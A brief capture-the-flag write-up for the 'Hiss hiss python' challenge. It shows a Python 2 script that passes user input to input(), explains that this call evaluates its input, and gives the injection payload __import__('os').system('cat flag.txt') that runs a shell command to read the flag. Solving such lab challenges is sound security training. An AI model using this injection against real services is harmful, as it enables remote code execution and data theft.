#### [Hiss hiss python](http://timisoaractf.ro/challenge?id=26) (50pts)

This challenge gave us the following source code:

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| import sys print ("Hello user! I will give you a test. If you pass it, you get the flag\n") print ("What is 2 + 3? ") sys.stdout.flush() x = input()  if (x == 5):  print("Eh, I was just kidding. No flag for you") else:  print("Try again!") |

We immediately see that it uses the input() function to read the input, which has a vulnerability in Python 2 since it runs eval() on the input given. So we can easily inject python code and get RCE.

The final payload looks as follows:

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| \_\_import\_\_('os').system('cat flag.txt') |